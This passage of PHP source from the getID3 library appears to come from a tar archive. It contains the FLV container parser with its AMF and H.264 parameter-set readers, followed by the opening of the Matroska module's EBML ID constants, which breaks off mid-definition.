define('GETID3_FLV_VIDEO_SCREEN', 3); define('GETID3_FLV_VIDEO_VP6FLV', 4); define('GETID3_FLV_VIDEO_VP6FLV_ALPHA', 5); define('GETID3_FLV_VIDEO_SCREENV2', 6); define('GETID3_FLV_VIDEO_H264', 7); define('H264_AVC_SEQUENCE_HEADER', 0); define('H264_PROFILE_BASELINE', 66); define('H264_PROFILE_MAIN', 77); define('H264_PROFILE_EXTENDED', 88); define('H264_PROFILE_HIGH', 100); define('H264_PROFILE_HIGH10', 110); define('H264_PROFILE_HIGH422', 122); define('H264_PROFILE_HIGH444', 144); define('H264_PROFILE_HIGH444_PREDICTIVE', 244); class getid3_flv extends getid3_handler { const magic = 'FLV'; /** * Break out of the loop if too many frames have been scanned; only scan this * many if meta frame does not contain useful duration. * * @var int */ public $max_frames = 100000; /** * @return bool */ public function Analyze() { $info = &$this->getid3->info; $this->fseek($info['avdataoffset']); $FLVdataLength = $info['avdataend'] - $info['avdataoffset']; $FLVheader = $this->fread(5); $info['fileformat'] = 'flv'; $info['flv']['header']['signature'] = substr($FLVheader, 0, 3); $info['flv']['header']['version'] = getid3_lib::BigEndian2Int(substr($FLVheader, 3, 1)); $TypeFlags = getid3_lib::BigEndian2Int(substr($FLVheader, 4, 1)); if ($info['flv']['header']['signature'] != self::magic) { $this->error('Expecting "'.getid3_lib::PrintHexBytes(self::magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($info['flv']['header']['signature']).'"'); unset($info['flv'], $info['fileformat']); return false; } $info['flv']['header']['hasAudio'] = (bool) ($TypeFlags & 0x04); $info['flv']['header']['hasVideo'] = (bool) ($TypeFlags & 0x01); $FrameSizeDataLength = getid3_lib::BigEndian2Int($this->fread(4)); $FLVheaderFrameLength = 9; if ($FrameSizeDataLength > $FLVheaderFrameLength) { $this->fseek($FrameSizeDataLength - $FLVheaderFrameLength, SEEK_CUR); } $Duration = 0; $found_video = false; $found_audio = false; $found_meta = false; $found_valid_meta_playtime = false; $tagParseCount = 0; $info['flv']['framecount'] = array('total'=>0, 'audio'=>0, 'video'=>0); $flv_framecount = &$info['flv']['framecount']; while ((($this->ftell() + 16) < $info['avdataend']) && (($tagParseCount++ <= $this->max_frames) || !$found_valid_meta_playtime)) { $ThisTagHeader = $this->fread(16); $PreviousTagLength = getid3_lib::BigEndian2Int(substr($ThisTagHeader, 0, 4)); $TagType = getid3_lib::BigEndian2Int(substr($ThisTagHeader, 4, 1)); $DataLength = getid3_lib::BigEndian2Int(substr($ThisTagHeader, 5, 3)); $Timestamp = getid3_lib::BigEndian2Int(substr($ThisTagHeader, 8, 3)); $LastHeaderByte = getid3_lib::BigEndian2Int(substr($ThisTagHeader, 15, 1)); $NextOffset = $this->ftell() - 1 + $DataLength; if ($Timestamp > $Duration) { $Duration = $Timestamp; } $flv_framecount['total']++; switch ($TagType) { case GETID3_FLV_TAG_AUDIO: $flv_framecount['audio']++; if (!$found_audio) { $found_audio = true; $info['flv']['audio']['audioFormat'] = ($LastHeaderByte >> 4) & 0x0F; $info['flv']['audio']['audioRate'] = ($LastHeaderByte >> 2) & 0x03; $info['flv']['audio']['audioSampleSize'] = ($LastHeaderByte >> 1) & 0x01; $info['flv']['audio']['audioType'] = $LastHeaderByte & 0x01; } break; case GETID3_FLV_TAG_VIDEO: $flv_framecount['video']++; if (!$found_video) { $found_video = true; $info['flv']['video']['videoCodec'] = $LastHeaderByte & 0x07; $FLVvideoHeader = $this->fread(11); if ($info['flv']['video']['videoCodec'] == GETID3_FLV_VIDEO_H264) { // this code block contributed by: moysevichØgmail*com $AVCPacketType = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 0, 1)); if ($AVCPacketType == H264_AVC_SEQUENCE_HEADER) { // read AVCDecoderConfigurationRecord $configurationVersion = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 4, 1)); $AVCProfileIndication = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 5, 1)); $profile_compatibility = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 1)); $lengthSizeMinusOne = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 7, 1)); $numOfSequenceParameterSets = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 8, 1)); if (($numOfSequenceParameterSets & 0x1F) != 0) { // there is at least one SequenceParameterSet // read size of the first SequenceParameterSet //$spsSize = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 9, 2)); $spsSize = getid3_lib::LittleEndian2Int(substr($FLVvideoHeader, 9, 2)); // read the first SequenceParameterSet $sps = $this->fread($spsSize); if (strlen($sps) == $spsSize) { // make sure that whole SequenceParameterSet was red $spsReader = new AVCSequenceParameterSetReader($sps); $spsReader->readData(); $info['video']['resolution_x'] = $spsReader->getWidth(); $info['video']['resolution_y'] = $spsReader->getHeight(); } } } // end: moysevichØgmail*com } elseif ($info['flv']['video']['videoCodec'] == GETID3_FLV_VIDEO_H263) { $PictureSizeType = (getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 3, 2))) >> 7; $PictureSizeType = $PictureSizeType & 0x0007; $info['flv']['header']['videoSizeType'] = $PictureSizeType; switch ($PictureSizeType) { case 0: //$PictureSizeEnc = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 5, 2)); //$PictureSizeEnc <<= 1; //$info['video']['resolution_x'] = ($PictureSizeEnc & 0xFF00) >> 8; //$PictureSizeEnc = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 2)); //$PictureSizeEnc <<= 1; //$info['video']['resolution_y'] = ($PictureSizeEnc & 0xFF00) >> 8; $PictureSizeEnc['x'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 4, 2)) >> 7; $PictureSizeEnc['y'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 5, 2)) >> 7; $info['video']['resolution_x'] = $PictureSizeEnc['x'] & 0xFF; $info['video']['resolution_y'] = $PictureSizeEnc['y'] & 0xFF; break; case 1: $PictureSizeEnc['x'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 4, 3)) >> 7; $PictureSizeEnc['y'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 3)) >> 7; $info['video']['resolution_x'] = $PictureSizeEnc['x'] & 0xFFFF; $info['video']['resolution_y'] = $PictureSizeEnc['y'] & 0xFFFF; break; case 2: $info['video']['resolution_x'] = 352; $info['video']['resolution_y'] = 288; break; case 3: $info['video']['resolution_x'] = 176; $info['video']['resolution_y'] = 144; break; case 4: $info['video']['resolution_x'] = 128; $info['video']['resolution_y'] = 96; break; case 5: $info['video']['resolution_x'] = 320; $info['video']['resolution_y'] = 240; break; case 6: $info['video']['resolution_x'] = 160; $info['video']['resolution_y'] = 120; break; default: $info['video']['resolution_x'] = 0; $info['video']['resolution_y'] = 0; break; } } elseif ($info['flv']['video']['videoCodec'] == GETID3_FLV_VIDEO_VP6FLV_ALPHA) { /* contributed by schouwerwouØgmail*com */ if (!isset($info['video']['resolution_x'])) { // only when meta data isn't set $PictureSizeEnc['x'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 2)); $PictureSizeEnc['y'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 7, 2)); $info['video']['resolution_x'] = ($PictureSizeEnc['x'] & 0xFF) << 3; $info['video']['resolution_y'] = ($PictureSizeEnc['y'] & 0xFF) << 3; } /* end schouwerwouØgmail*com */ } if (!empty($info['video']['resolution_x']) && !empty($info['video']['resolution_y'])) { $info['video']['pixel_aspect_ratio'] = $info['video']['resolution_x'] / $info['video']['resolution_y']; } } break; // Meta tag case GETID3_FLV_TAG_META: if (!$found_meta) { $found_meta = true; $this->fseek(-1, SEEK_CUR); $datachunk = $this->fread($DataLength); $AMFstream = new AMFStream($datachunk); $reader = new AMFReader($AMFstream); $eventName = $reader->readData(); $info['flv']['meta'][$eventName] = $reader->readData(); unset($reader); $copykeys = array('framerate'=>'frame_rate', 'width'=>'resolution_x', 'height'=>'resolution_y', 'audiodatarate'=>'bitrate', 'videodatarate'=>'bitrate'); foreach ($copykeys as $sourcekey => $destkey) { if (isset($info['flv']['meta']['onMetaData'][$sourcekey])) { switch ($sourcekey) { case 'width': case 'height': $info['video'][$destkey] = intval(round($info['flv']['meta']['onMetaData'][$sourcekey])); break; case 'audiodatarate': $info['audio'][$destkey] = getid3_lib::CastAsInt(round($info['flv']['meta']['onMetaData'][$sourcekey] * 1000)); break; case 'videodatarate': case 'frame_rate': default: $info['video'][$destkey] = $info['flv']['meta']['onMetaData'][$sourcekey]; break; } } } if (!empty($info['flv']['meta']['onMetaData']['duration'])) { $found_valid_meta_playtime = true; } } break; default: // noop break; } $this->fseek($NextOffset); } $info['playtime_seconds'] = $Duration / 1000; if ($info['playtime_seconds'] > 0) { $info['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; } if ($info['flv']['header']['hasAudio']) { $info['audio']['codec'] = self::audioFormatLookup($info['flv']['audio']['audioFormat']); $info['audio']['sample_rate'] = self::audioRateLookup($info['flv']['audio']['audioRate']); $info['audio']['bits_per_sample'] = self::audioBitDepthLookup($info['flv']['audio']['audioSampleSize']); $info['audio']['channels'] = $info['flv']['audio']['audioType'] + 1; // 0=mono,1=stereo $info['audio']['lossless'] = ($info['flv']['audio']['audioFormat'] ? false : true); // 0=uncompressed $info['audio']['dataformat'] = 'flv'; } if (!empty($info['flv']['header']['hasVideo'])) { $info['video']['codec'] = self::videoCodecLookup($info['flv']['video']['videoCodec']); $info['video']['dataformat'] = 'flv'; $info['video']['lossless'] = false; } // Set information from meta if (!empty($info['flv']['meta']['onMetaData']['duration'])) { $info['playtime_seconds'] = $info['flv']['meta']['onMetaData']['duration']; $info['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; } if (isset($info['flv']['meta']['onMetaData']['audiocodecid'])) { $info['audio']['codec'] = self::audioFormatLookup($info['flv']['meta']['onMetaData']['audiocodecid']); } if (isset($info['flv']['meta']['onMetaData']['videocodecid'])) { $info['video']['codec'] = self::videoCodecLookup($info['flv']['meta']['onMetaData']['videocodecid']); } return true; } /** * @param int $id * * @return string|false */ public static function audioFormatLookup($id) { static $lookup = array( 0 => 'Linear PCM, platform endian', 1 => 'ADPCM', 2 => 'mp3', 3 => 'Linear PCM, little endian', 4 => 'Nellymoser 16kHz mono', 5 => 'Nellymoser 8kHz mono', 6 => 'Nellymoser', 7 => 'G.711A-law logarithmic PCM', 8 => 'G.711 mu-law logarithmic PCM', 9 => 'reserved', 10 => 'AAC', 11 => 'Speex', 12 => false, // unknown? 13 => false, // unknown? 14 => 'mp3 8kHz', 15 => 'Device-specific sound', ); return (isset($lookup[$id]) ? $lookup[$id] : false); } /** * @param int $id * * @return int|false */ public static function audioRateLookup($id) { static $lookup = array( 0 => 5500, 1 => 11025, 2 => 22050, 3 => 44100, ); return (isset($lookup[$id]) ? $lookup[$id] : false); } /** * @param int $id * * @return int|false */ public static function audioBitDepthLookup($id) { static $lookup = array( 0 => 8, 1 => 16, ); return (isset($lookup[$id]) ? $lookup[$id] : false); } /** * @param int $id * * @return string|false */ public static function videoCodecLookup($id) { static $lookup = array( GETID3_FLV_VIDEO_H263 => 'Sorenson H.263', GETID3_FLV_VIDEO_SCREEN => 'Screen video', GETID3_FLV_VIDEO_VP6FLV => 'On2 VP6', GETID3_FLV_VIDEO_VP6FLV_ALPHA => 'On2 VP6 with alpha channel', GETID3_FLV_VIDEO_SCREENV2 => 'Screen video v2', GETID3_FLV_VIDEO_H264 => 'Sorenson H.264', ); return (isset($lookup[$id]) ? $lookup[$id] : false); } } class AMFStream { /** * @var string */ public $bytes; /** * @var int */ public $pos; /** * @param string $bytes */ public function __construct(&$bytes) { $this->bytes =& $bytes; $this->pos = 0; } /** * @return int */ public function readByte() { // 8-bit return ord(substr($this->bytes, $this->pos++, 1)); } /** * @return int */ public function readInt() { // 16-bit return ($this->readByte() << 8) + $this->readByte(); } /** * @return int */ public function readLong() { // 32-bit return ($this->readByte() << 24) + ($this->readByte() << 16) + ($this->readByte() << 8) + $this->readByte(); } /** * @return float|false */ public function readDouble() { return getid3_lib::BigEndian2Float($this->read(8)); } /** * @return string */ public function readUTF() { $length = $this->readInt(); return $this->read($length); } /** * @return string */ public function readLongUTF() { $length = $this->readLong(); return $this->read($length); } /** * @param int $length * * @return string */ public function read($length) { $val = substr($this->bytes, $this->pos, $length); $this->pos += $length; return $val; } /** * @return int */ public function peekByte() { $pos = $this->pos; $val = $this->readByte(); $this->pos = $pos; return $val; } /** * @return int */ public function peekInt() { $pos = $this->pos; $val = $this->readInt(); $this->pos = $pos; return $val; } /** * @return int */ public function peekLong() { $pos = $this->pos; $val = $this->readLong(); $this->pos = $pos; return $val; } /** * @return float|false */ public function peekDouble() { $pos = $this->pos; $val = $this->readDouble(); $this->pos = $pos; return $val; } /** * @return string */ public function peekUTF() { $pos = $this->pos; $val = $this->readUTF(); $this->pos = $pos; return $val; } /** * @return string */ public function peekLongUTF() { $pos = $this->pos; $val = $this->readLongUTF(); $this->pos = $pos; return $val; } } class AMFReader { /** * @var AMFStream */ public $stream; /** * @param AMFStream $stream */ public function __construct(AMFStream $stream) { $this->stream = $stream; } /** * @return mixed */ public function readData() { $value = null; $type = $this->stream->readByte(); switch ($type) { // Double case 0: $value = $this->readDouble(); break; // Boolean case 1: $value = $this->readBoolean(); break; // String case 2: $value = $this->readString(); break; // Object case 3: $value = $this->readObject(); break; // null case 6: return null; // Mixed array case 8: $value = $this->readMixedArray(); break; // Array case 10: $value = $this->readArray(); break; // Date case 11: $value = $this->readDate(); break; // Long string case 13: $value = $this->readLongString(); break; // XML (handled as string) case 15: $value = $this->readXML(); break; // Typed object (handled as object) case 16: $value = $this->readTypedObject(); break; // Long string default: $value = '(unknown or unsupported data type)'; break; } return $value; } /** * @return float|false */ public function readDouble() { return $this->stream->readDouble(); } /** * @return bool */ public function readBoolean() { return $this->stream->readByte() == 1; } /** * @return string */ public function readString() { return $this->stream->readUTF(); } /** * @return array */ public function readObject() { // Get highest numerical index - ignored // $highestIndex = $this->stream->readLong(); $data = array(); $key = null; while ($key = $this->stream->readUTF()) { $data[$key] = $this->readData(); } // Mixed array record ends with empty string (0x00 0x00) and 0x09 if (($key == '') && ($this->stream->peekByte() == 0x09)) { // Consume byte $this->stream->readByte(); } return $data; } /** * @return array */ public function readMixedArray() { // Get highest numerical index - ignored $highestIndex = $this->stream->readLong(); $data = array(); $key = null; while ($key = $this->stream->readUTF()) { if (is_numeric($key)) { $key = (int) $key; } $data[$key] = $this->readData(); } // Mixed array record ends with empty string (0x00 0x00) and 0x09 if (($key == '') && ($this->stream->peekByte() == 0x09)) { // Consume byte $this->stream->readByte(); } return $data; } /** * @return array */ public function readArray() { $length = $this->stream->readLong(); $data = array(); for ($i = 0; $i < $length; $i++) { $data[] = $this->readData(); } return $data; } /** * @return float|false */ public function readDate() { $timestamp = $this->stream->readDouble(); $timezone = $this->stream->readInt(); return $timestamp; } /** * @return string */ public function readLongString() { return $this->stream->readLongUTF(); } /** * @return string */ public function readXML() { return $this->stream->readLongUTF(); } /** * @return array */ public function readTypedObject() { $className = $this->stream->readUTF(); return $this->readObject(); } } class AVCSequenceParameterSetReader { /** * @var string */ public $sps; public $start = 0; public $currentBytes = 0; public $currentBits = 0; /** * @var int */ public $width; /** * @var int */ public $height; /** * @param string $sps */ public function __construct($sps) { $this->sps = $sps; } public function readData() { $this->skipBits(8); $this->skipBits(8); $profile = $this->getBits(8); // read profile if ($profile > 0) { $this->skipBits(8); $level_idc = $this->getBits(8); // level_idc $this->expGolombUe(); // seq_parameter_set_id // sps $this->expGolombUe(); // log2_max_frame_num_minus4 $picOrderType = $this->expGolombUe(); // pic_order_cnt_type if ($picOrderType == 0) { $this->expGolombUe(); // log2_max_pic_order_cnt_lsb_minus4 } elseif ($picOrderType == 1) { $this->skipBits(1); // delta_pic_order_always_zero_flag $this->expGolombSe(); // offset_for_non_ref_pic $this->expGolombSe(); // offset_for_top_to_bottom_field $num_ref_frames_in_pic_order_cnt_cycle = $this->expGolombUe(); // num_ref_frames_in_pic_order_cnt_cycle for ($i = 0; $i < $num_ref_frames_in_pic_order_cnt_cycle; $i++) { $this->expGolombSe(); // offset_for_ref_frame[ i ] } } $this->expGolombUe(); // num_ref_frames $this->skipBits(1); // gaps_in_frame_num_value_allowed_flag $pic_width_in_mbs_minus1 = $this->expGolombUe(); // pic_width_in_mbs_minus1 $pic_height_in_map_units_minus1 = $this->expGolombUe(); // pic_height_in_map_units_minus1 $frame_mbs_only_flag = $this->getBits(1); // frame_mbs_only_flag if ($frame_mbs_only_flag == 0) { $this->skipBits(1); // mb_adaptive_frame_field_flag } $this->skipBits(1); // direct_8x8_inference_flag $frame_cropping_flag = $this->getBits(1); // frame_cropping_flag $frame_crop_left_offset = 0; $frame_crop_right_offset = 0; $frame_crop_top_offset = 0; $frame_crop_bottom_offset = 0; if ($frame_cropping_flag) { $frame_crop_left_offset = $this->expGolombUe(); // frame_crop_left_offset $frame_crop_right_offset = $this->expGolombUe(); // frame_crop_right_offset $frame_crop_top_offset = $this->expGolombUe(); // frame_crop_top_offset $frame_crop_bottom_offset = $this->expGolombUe(); // frame_crop_bottom_offset } $this->skipBits(1); // vui_parameters_present_flag // etc $this->width = (($pic_width_in_mbs_minus1 + 1) * 16) - ($frame_crop_left_offset * 2) - ($frame_crop_right_offset * 2); $this->height = ((2 - $frame_mbs_only_flag) * ($pic_height_in_map_units_minus1 + 1) * 16) - ($frame_crop_top_offset * 2) - ($frame_crop_bottom_offset * 2); } } /** * @param int $bits */ public function skipBits($bits) { $newBits = $this->currentBits + $bits; $this->currentBytes += (int)floor($newBits / 8); $this->currentBits = $newBits % 8; } /** * @return int */ public function getBit() { $result = (getid3_lib::BigEndian2Int(substr($this->sps, $this->currentBytes, 1)) >> (7 - $this->currentBits)) & 0x01; $this->skipBits(1); return $result; } /** * @param int $bits * * @return int */ public function getBits($bits) { $result = 0; for ($i = 0; $i < $bits; $i++) { $result = ($result << 1) + $this->getBit(); } return $result; } /** * @return int */ public function expGolombUe() { $significantBits = 0; $bit = $this->getBit(); while ($bit == 0) { $significantBits++; $bit = $this->getBit(); if ($significantBits > 31) { // something is broken, this is an emergency escape to prevent infinite loops return 0; } } return (1 << $significantBits) + $this->getBits($significantBits) - 1; } /** * @return int */ public function expGolombSe() { $result = $this->expGolombUe(); if (($result & 0x01) == 0) { return -($result >> 1); } else { return ($result + 1) >> 1; } } /** * @return int */ public function getWidth() { return $this->width; } /** * @return int */ public function getHeight() { return $this->height; } } ID3/module.audio-video.matroska.php000064400000321223151202620270013145 0ustar00 // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // see readme.txt for more details // ///////////////////////////////////////////////////////////////// // // // module.audio-video.matriska.php // // module for analyzing Matroska containers // // dependencies: NONE // // /// ///////////////////////////////////////////////////////////////// if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers exit; } define('EBML_ID_CHAPTERS', 0x0043A770); // [10][43][A7][70] -- A system to define basic menus and partition data. For more detailed information, look at the Chapters Explanation. define('EBML_ID_SEEKHEAD', 0x014D9B74); // [11][4D][9B][74] -- Contains the position of other level 1 elements. define('EBML_ID_TAGS', 0x0254C367); // [12][54][C3][67] -- Element containing elements specific to Tracks/Chapters. A list of valid tags can be found . define('EBML_ID_INFO', 0x0549A966); // [15][49][A9][66] -- Contains miscellaneous general information and statistics on the file. define('EBML_ID_TRACKS', 0x0654AE6B); // [16][54][AE][6B] -- A top-level block of information with many tracks described. define('EBML_ID_SEGMENT', 0x08538067); // [18][53][80][67] -- This element contains all other top-level (level 1) elements. Typically a Matroska file is composed of 1 segment. define('EBML_ID_ATTACHMENTS', 0x0941A469); // [19][41][A4][69] -- Contain attached files. define('EBML_ID_EBML', 0x0A45DFA3); // [1A][45][DF][A3] -- Set the EBML characteristics of the data to follow. Each EBML document has to start with this. define('EBML_ID_CUES', 0x0C53BB6B); // [1C][53][BB][6B] -- A top-level element to speed seeking access. All entries are local to the segment. define('EBML_ID_CLUSTER', 0x0F43B675); // [1F][43][B6][75] -- The lower level element containing the (monolithic) Block structure. define('EBML_ID_LANGUAGE', 0x02B59C); // [22][B5][9C] -- Specifies the language of the track in the Matroska languages form. define('EBML_ID_TRACKTIMECODESCALE', 0x03314F); // [23][31][4F] -- The scale to apply on this track to work at normal speed in relation with other tracks (mostly used to adjust video speed when the audio length differs). define('EBML_ID_DEFAULTDURATION', 0x03E383); // [23][E3][83] -- Number of nanoseconds (i.e. not scaled) per frame. define('EBML_ID_CODECNAME', 0x058688); // [25][86][88] -- A human-readable string specifying the codec. define('EBML_ID_CODECDOWNLOADURL', 0x06B240); // [26][B2][40] -- A URL to download about the codec used. define('EBML_ID_TIMECODESCALE', 0x0AD7B1); // [2A][D7][B1] -- Timecode scale in nanoseconds (1.000.000 means all timecodes in the segment are expressed in milliseconds). define('EBML_ID_COLOURSPACE', 0x0EB524); // [2E][B5][24] -- Same value as in AVI (32 bits). define('EBML_ID_GAMMAVALUE', 0x0FB523); // [2F][B5][23] -- Gamma Value. define('EBML_ID_CODECSETTINGS', 0x1A9697); // [3A][96][97] -- A string describing the encoding setting used. define('EBML_ID_CODECINFOURL', 0x1B4040); // [3B][40][40] -- A URL to find information about the codec used. define('EBML_ID_PREVFILENAME', 0x1C83AB); // [3C][83][AB] -- An escaped filename corresponding to the previous segment. define('EBML_ID_PREVUID', 0x1CB923); // [3C][B9][23] -- A unique ID to identify the previous chained segment (128 bits). define('EBML_ID_NEXTFILENAME', 0x1E83BB); // [3E][83][BB] -- An escaped filename corresponding to the next segment. define('EBML_ID_NEXTUID', 0x1EB923); // [3E][B9][23] -- A unique ID to identify the next chained segment (128 bits). define('EBML_ID_CONTENTCOMPALGO', 0x0254); // [42][54] -- The compression algorithm used. Algorithms that have been specified so far are: define('EBML_ID_CONTENTCOMPSETTINGS', 0x0255); // [42][55] -- Settings that might be needed by the decompressor. For Header Stripping (ContentCompAlgo=3), the bytes that were removed from the beggining of each frames of the track. define('EBML_ID_DOCTYPE', 0x0282); // [42][82] -- A string that describes the type of document that follows this EBML header ('matroska' in our case). define('EBML_ID_DOCTYPEREADVERSION', 0x0285); // [42][85] -- The minimum DocType version an interpreter has to support to read this file. define('EBML_ID_EBMLVERSION', 0x0286); // [42][86] -- The version of EBML parser used to create the file. define('EBML_ID_DOCTYPEVERSION', 0x0287); // [42][87] -- The version of DocType interpreter used to create the file. define('EBML_ID_EBMLMAXIDLENGTH', 0x02F2); // [42][F2] -- The maximum length of the IDs you'll find in this file (4 or less in Matroska). define('EBML_ID_EBMLMAXSIZELENGTH', 0x02F3); // [42][F3] -- The maximum length of the sizes you'll find in this file (8 or less in Matroska). This does not override the element size indicated at the beginning of an element. Elements that have an indicated size which is larger than what is allowed by EBMLMaxSizeLength shall be considered invalid. define('EBML_ID_EBMLREADVERSION', 0x02F7); // [42][F7] -- The minimum EBML version a parser has to support to read this file. define('EBML_ID_CHAPLANGUAGE', 0x037C); // [43][7C] -- The languages corresponding to the string, in the bibliographic ISO-639-2 form. define('EBML_ID_CHAPCOUNTRY', 0x037E); // [43][7E] -- The countries corresponding to the string, same 2 octets as in Internet domains. define('EBML_ID_SEGMENTFAMILY', 0x0444); // [44][44] -- A randomly generated unique ID that all segments related to each other must use (128 bits). define('EBML_ID_DATEUTC', 0x0461); // [44][61] -- Date of the origin of timecode (value 0), i.e. production date. define('EBML_ID_TAGLANGUAGE', 0x047A); // [44][7A] -- Specifies the language of the tag specified, in the Matroska languages form. define('EBML_ID_TAGDEFAULT', 0x0484); // [44][84] -- Indication to know if this is the default/original language to use for the given tag. define('EBML_ID_TAGBINARY', 0x0485); // [44][85] -- The values of the Tag if it is binary. Note that this cannot be used in the same SimpleTag as TagString. define('EBML_ID_TAGSTRING', 0x0487); // [44][87] -- The value of the Tag. define('EBML_ID_DURATION', 0x0489); // [44][89] -- Duration of the segment (based on TimecodeScale). define('EBML_ID_CHAPPROCESSPRIVATE', 0x050D); // [45][0D] -- Some optional data attached to the ChapProcessCodecID information. For ChapProcessCodecID = 1, it is the "DVD level" equivalent. define('EBML_ID_CHAPTERFLAGENABLED', 0x0598); // [45][98] -- Specify wether the chapter is enabled. It can be enabled/disabled by a Control Track. When disabled, the movie should skip all the content between the TimeStart and TimeEnd of this chapter. define('EBML_ID_TAGNAME', 0x05A3); // [45][A3] -- The name of the Tag that is going to be stored. define('EBML_ID_EDITIONENTRY', 0x05B9); // [45][B9] -- Contains all information about a segment edition. define('EBML_ID_EDITIONUID', 0x05BC); // [45][BC] -- A unique ID to identify the edition. It's useful for tagging an edition. define('EBML_ID_EDITIONFLAGHIDDEN', 0x05BD); // [45][BD] -- If an edition is hidden (1), it should not be available to the user interface (but still to Control Tracks). define('EBML_ID_EDITIONFLAGDEFAULT', 0x05DB); // [45][DB] -- If a flag is set (1) the edition should be used as the default one. define('EBML_ID_EDITIONFLAGORDERED', 0x05DD); // [45][DD] -- Specify if the chapters can be defined multiple times and the order to play them is enforced. define('EBML_ID_FILEDATA', 0x065C); // [46][5C] -- The data of the file. define('EBML_ID_FILEMIMETYPE', 0x0660); // [46][60] -- MIME type of the file. define('EBML_ID_FILENAME', 0x066E); // [46][6E] -- Filename of the attached file. define('EBML_ID_FILEREFERRAL', 0x0675); // [46][75] -- A binary value that a track/codec can refer to when the attachment is needed. define('EBML_ID_FILEDESCRIPTION', 0x067E); // [46][7E] -- A human-friendly name for the attached file. define('EBML_ID_FILEUID', 0x06AE); // [46][AE] -- Unique ID representing the file, as random as possible. define('EBML_ID_CONTENTENCALGO', 0x07E1); // [47][E1] -- The encryption algorithm used. The value '0' means that the contents have not been encrypted but only signed. Predefined values: define('EBML_ID_CONTENTENCKEYID', 0x07E2); // [47][E2] -- For public key algorithms this is the ID of the public key the data was encrypted with. define('EBML_ID_CONTENTSIGNATURE', 0x07E3); // [47][E3] -- A cryptographic signature of the contents. define('EBML_ID_CONTENTSIGKEYID', 0x07E4); // [47][E4] -- This is the ID of the private key the data was signed with. define('EBML_ID_CONTENTSIGALGO', 0x07E5); // [47][E5] -- The algorithm used for the signature. A value of '0' means that the contents have not been signed but only encrypted. Predefined values: define('EBML_ID_CONTENTSIGHASHALGO', 0x07E6); // [47][E6] -- The hash algorithm used for the signature. A value of '0' means that the contents have not been signed but only encrypted. Predefined values: define('EBML_ID_MUXINGAPP', 0x0D80); // [4D][80] -- Muxing application or library ("libmatroska-0.4.3"). define('EBML_ID_SEEK', 0x0DBB); // [4D][BB] -- Contains a single seek entry to an EBML element. define('EBML_ID_CONTENTENCODINGORDER', 0x1031); // [50][31] -- Tells when this modification was used during encoding/muxing starting with 0 and counting upwards. The decoder/demuxer has to start with the highest order number it finds and work its way down. This value has to be unique over all ContentEncodingOrder elements in the segment. define('EBML_ID_CONTENTENCODINGSCOPE', 0x1032); // [50][32] -- A bit field that describes which elements have been modified in this way. Values (big endian) can be OR'ed. Possible values: define('EBML_ID_CONTENTENCODINGTYPE', 0x1033); // [50][33] -- A value describing what kind of transformation has been done. Possible values: define('EBML_ID_CONTENTCOMPRESSION', 0x1034); // [50][34] -- Settings describing the compression used. Must be present if the value of ContentEncodingType is 0 and absent otherwise. Each block must be decompressable even if no previous block is available in order not to prevent seeking. define('EBML_ID_CONTENTENCRYPTION', 0x1035); // [50][35] -- Settings describing the encryption used. Must be present if the value of ContentEncodingType is 1 and absent otherwise. define('EBML_ID_CUEREFNUMBER', 0x135F); // [53][5F] -- Number of the referenced Block of Track X in the specified Cluster. define('EBML_ID_NAME', 0x136E); // [53][6E] -- A human-readable track name. define('EBML_ID_CUEBLOCKNUMBER', 0x1378); // [53][78] -- Number of the Block in the specified Cluster. define('EBML_ID_TRACKOFFSET', 0x137F); // [53][7F] -- A value to add to the Block's Timecode. This can be used to adjust the playback offset of a track. define('EBML_ID_SEEKID', 0x13AB); // [53][AB] -- The binary ID corresponding to the element name. define('EBML_ID_SEEKPOSITION', 0x13AC); // [53][AC] -- The position of the element in the segment in octets (0 = first level 1 element). define('EBML_ID_STEREOMODE', 0x13B8); // [53][B8] -- Stereo-3D video mode. define('EBML_ID_OLDSTEREOMODE', 0x13B9); // [53][B9] -- Bogus StereoMode value used in old versions of libmatroska. DO NOT USE. (0: mono, 1: right eye, 2: left eye, 3: both eyes). define('EBML_ID_PIXELCROPBOTTOM', 0x14AA); // [54][AA] -- The number of video pixels to remove at the bottom of the image (for HDTV content). define('EBML_ID_DISPLAYWIDTH', 0x14B0); // [54][B0] -- Width of the video frames to display. define('EBML_ID_DISPLAYUNIT', 0x14B2); // [54][B2] -- Type of the unit for DisplayWidth/Height (0: pixels, 1: centimeters, 2: inches). define('EBML_ID_ASPECTRATIOTYPE', 0x14B3); // [54][B3] -- Specify the possible modifications to the aspect ratio (0: free resizing, 1: keep aspect ratio, 2: fixed). define('EBML_ID_DISPLAYHEIGHT', 0x14BA); // [54][BA] -- Height of the video frames to display. define('EBML_ID_PIXELCROPTOP', 0x14BB); // [54][BB] -- The number of video pixels to remove at the top of the image. define('EBML_ID_PIXELCROPLEFT', 0x14CC); // [54][CC] -- The number of video pixels to remove on the left of the image. define('EBML_ID_PIXELCROPRIGHT', 0x14DD); // [54][DD] -- The number of video pixels to remove on the right of the image. define('EBML_ID_FLAGFORCED', 0x15AA); // [55][AA] -- Set if that track MUST be used during playback. There can be many forced track for a kind (audio, video or subs), the player should select the one which language matches the user preference or the default + forced track. Overlay MAY happen between a forced and non-forced track of the same kind. define('EBML_ID_MAXBLOCKADDITIONID', 0x15EE); // [55][EE] -- The maximum value of 